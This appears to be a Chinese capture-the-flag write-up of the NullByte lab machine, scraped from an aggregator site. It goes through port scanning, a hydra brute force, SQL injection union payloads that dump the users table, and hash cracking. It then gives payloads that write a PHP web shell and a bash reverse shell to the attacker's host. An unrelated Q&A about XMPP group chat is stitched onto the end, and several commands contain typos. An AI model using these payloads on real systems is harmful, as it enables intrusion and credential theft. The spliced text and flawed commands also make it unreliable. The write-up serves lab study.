Nullbyte

Posted lisenMiller

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Nullbyte相关的知识,希望对你有一定的参考价值。

主机发现

sudo nmap -sT --min-rate 10000 -p- xx.xx.xx.xx -oA nmapscan/ports

sudo nmap -sT -sC -sV -O -p xx.xx.xx.xx -oA nmapscan/detail

sudo nmap -sU --top-ports 20 xx.xx.xx.xx -oA nmapscan/udp

sudo nmap -sU -p xx.xx.xx.xx 

sudo nmap --script=vuln -p xx.xx.xx.xx -oA nmapscan/vuln

网页渗透

尝试爆破目录

sudo gobuster -u http://xx.xx.xx.xx/ -w 

查看源代码发现了有一张图片main.gif 

wget下载图片http://xx.xx.xx.xx/main.gif 

查看图片是否有隐写信息

file main.gif 

exiftools main.gif

comment目录中发现有不一样的字符,可能是密码

但是这里怎么都没想到的是!!!这个竟然是网页的地址

拼接上目标机ip

http://xx.xx.xx.xx/KzMb5nVYJw进入到新的页面

 查看源代码

 他说密码不复杂通过hydra或者bp进行暴力破解

hydra xx.xx.xx.xx http-form-post "/KzMb5nVYJw/index.php:key=^PASS^:invalid key" -l  xx(此时爆破并不需要用户名,所以随便指定一个就可以) -P /usr/share/wordlists/rockyou.txt

爆破出xx /elite

进入到一个sql页面

 sql注入尝试

1.数据库猜解

通过构造不同的符号尝试报错

\' -- -

)&+ -- -

" --> 报错

 猜有多少列

" union select 1,2,3;-- -  #直到能正常出现数据为止

查看数据库以及版本

" union select database(),@@version,user(); -- - #打三个横杠的时候需要证明--空格 为了突出空格

 指定seth读出字段

读出表

" union select database(),@@version,user(); -- -

" union select table_schema,table_name,3 from information_schema.tables;-- - #读出information_schema表中的tables这张表的table_schema和tablename 

会列出这个数据库内的所有数据库和数据库分别由什么表

mysql数据库存在的表

 phpmyadmin存在的表

或者重新构造一个表

" union select table_name,2,3 from information_schema where table_schema="seth"; -- -

 seth库存在的表

爆列名

" union select columus_name,2,3 from information_schema.columus where table_schema="seth" and table_name="users";-- -

爆字段

" union select user,pass from users;-- -

 发现一段base64编码,将其base64 -d解码后发现一段hash

利用hash-identifier进行辨明是md5

将md5保存到一个文件上

 利用hashcat或者john进行破解

john --format=raw-md5 --wordlists=/usr/share/wordlists/rockyou.txt hash_md5

 成功的出密码是omega再ssh登录

2.利用mysql写小马

" union select "<?php system($_GET[\'xx\']);?>",2,3 into outfile "/var/www/html\'/uploads/shell/php";-- -

报错

因为2,3不能写到文件中改成

" union select "<?php system($_GET[\'xx\']);?>","",""  into outfile "/var/www/html\'/uploads/shell/php";-- -

因为在我们提交页面的源代码里面将数据上传到的页面为420search.php,所以里面可能存在有数据库的配置文件

3.利用mysql写大马

" union select "<?php exec(\\"bash -c \'bash -i >& /dev/tcp/kali\'s ip/port 0>&1\'\\");?>","","" into outfile \'/var/www/html/upload

4.sqlmap

sqlmap -u http://xx.xx.xx.xx/xx/420search.php?usrtosearch=a" --dbms mysql --dbs

 sqlmap -u http://xx ..... " --dbms mysql -D seth --tables

sqlmap -u http://xx .... " --dbms mysql -D seth -T users --dump

 

无服务器群消息(聊天)Xmpp

【中文标题】无服务器群消息(聊天)Xmpp【英文标题】:Server less Group Messaging (chating) Xmpp 【发布时间】:2015-06-11 04:41:09 【问题描述】:

我想在不关联服务器的情况下实现群组消息(聊天)(点对点聊天)

虽然连接是由 ejabberd 服务器建立的。我可以进行一对一聊天,但在群发消息中没有成功。

有人知道如何实现这个功能吗?

【问题讨论】:

@NullByte 是正确的,但是“不关联服务器”是什么意思? 【参考方案1】:

您正在寻找 MultiChatUser(MUC),如果您使用 aSmack 或 Smack 进行点对点聊天,那么您可以使用 MUC 进行群聊,请参阅下面的 MUC 聊天链接

https://www.igniterealtime.org/builds/smack/docs/latest/documentation/extensions/muc.html

希望对您有所帮助!

【讨论】:

以上是关于Nullbyte的主要内容,如果未能解决你的问题,请参考以下文章